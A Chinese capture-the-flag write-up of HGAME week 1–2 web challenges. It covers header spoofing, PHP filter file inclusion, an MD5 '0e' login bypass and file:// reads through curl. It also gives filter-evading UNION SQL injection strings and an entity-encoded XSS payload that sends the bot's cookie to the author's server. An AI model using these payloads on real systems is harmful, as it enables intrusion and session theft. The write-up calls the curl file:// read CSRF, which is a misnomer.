因为是迁移过来的,图崩了的话看原帖:https://www.yuque.com/lola39/ax672a/qrk9f6

web—week—1:

》Cosmos 的博客

读题猜测git泄露信息:

图片.png
图片.png

解码可得flag。

》接头霸王

读题猜测,抓包修改头信息:

  1. Referer: https://vidar.club
  2. X-Forwarded-For: 127.0.0.1
  3. User-Agent: Cosmos/114514
  4. If-Unmodified-Since: Fri, 01 Jan 2077 00:00:00 GMT

HTTP协议中的 If-Unmodified-Since 消息头用于请求之中,使得当前请求成为条件式请求:只有当资源在指定的时间之后没有进行过修改的情况下,服务器才会返回请求的资源,或是接受 POST 或其他 non-safe 方法的请求。如果所请求的资源在指定的时间之后发生了修改,那么会返回 412 (Precondition Failed) 错误。

图片.png

》Code World

打开出现一个403禁止页面,F12看到提示是jump到了这个页面,先抓包看一下:

图片.png

发现最先跳转的是这个页面,改用POST请求出现如下界面

图片.png

符号+会被解析为空格,所以进行url编码后再提交a=2%2b8

图片.png

得到flag

图片.png

》?尼泰玫

游戏结束对计分面板进行抓包:

图片.png

修改分数为30001即可:

图片.png

web—week—2:

》Cosmos的博客后台

题目提示我们博客没有用到数据库,应该是把密码和账号写在代码中了

观察url为应该是考察文件包含,尝试去访问config.php被过滤了

利用php伪协议去读取源码:http://cosmos-admin.hgame.day-day.work/index.php?action=php://filter/convert.base64-encode/resource=login.php

图片.png

发现可以通过debug寻找信息

http://cosmos-admin.hgame.day-day.work/login.php?debug=GLOBALS
图片.png

得知用户名为Cosmos!,密码为一串MD5加密密文:0e114902927253523756713132279690

自己整理的MD5碰撞知识

利⽤php弱类型 可以用 s878926199a 进行绕过登录

图片.png

admin.php 源码如下:

图片.png

对我们上传的url进行了匹配,只允许上传指定域名的url,使用的函数为curl_exec(),我们可以使用file://协议去构造CSRF漏洞,直接读取flag,插入 file://localhost/flag 得到一串base64加密后的密文

图片.png

》Cosmos的留言板-1

判断考察SQL注入,测试发现过滤了空格和"select"

空格使用/**/代替,select只过滤了一个所以使用双写绕过

具体步骤:

  • id=-1'/**/union/**/selselectect/**/database()/**/#

(得到数据库名为 easysql)

  • id=-1'/**/union/**/selselectect/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='easysql'/**/#

(得到表名为 f1aggggggggggggg,messages)

  • id=-1'/**/union/**/selselectect/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='f1aggggggggggggg'/**/#

(得到字段名为 fl4444444g)

  • id=-1'/**/union/**/selselectect/**/fl4444444g/**/from/**/f1aggggggggggggg/**/#

(得到flag为 hgame{w0w_sql_InjeCti0n_Is_S0_IntereSting!!})

》Cosmos的新语言

(复现看的官方wp):留⾔板过滤了所有闭合的html标签,即进⾏了⼀次 re.sub("</?[^>]+>", "", message) 这样的替换 之后过滤了script、iframe,并且消息全部转化为⼤写 可以选择⽤浏览器事件执⾏js,不闭合右标签, 浏览器会起到⾃动补全的作⽤,最后加注释,注释掉后⾯拼过来的, ⼤写可以使⽤编码绕 过,然后只要找个vps或者外带数据的平台接收cookie就可以了(PS: 有些师傅选择⽤jsfuck来绕⼤写,思 路是对的,只是后台bot⽤的selenium只⽀持get请求,jsfuck转换出来上万字符的payload就传不过去 了orz) payload:

<svg/onload=&#x77;&#x69;&#x6e;&#x64;&#x6f;&#x77;&#x2e;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x6c;&#x6f;&#x6c;&#x61;&#x33;&#x39;&#x2e;&#x63;&#x6e;&#x2f;&#x63;&#x6f;&#x6f;&#x6b;&#x69;&#x65;&#x2f;&#x69;&#x6e;&#x64;&#x65;&#x78;&#x2e;&#x70;&#x68;&#x70;&#x3f;&#x63;&#x6f;&#x6f;&#x6b;&#x69;&#x65;&#x3d;&#x27;&#x2b;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x63;&#x6f;&#x6f;&#x6b;&#x69;&#x65;&#x29;&#x3b;&#x2f;&#x2f;
图片.png

用python跑code:

图片.png

在自己的vps上拿到bot的cookie后进行替换直接拿到flag:

图片.png


本网站博主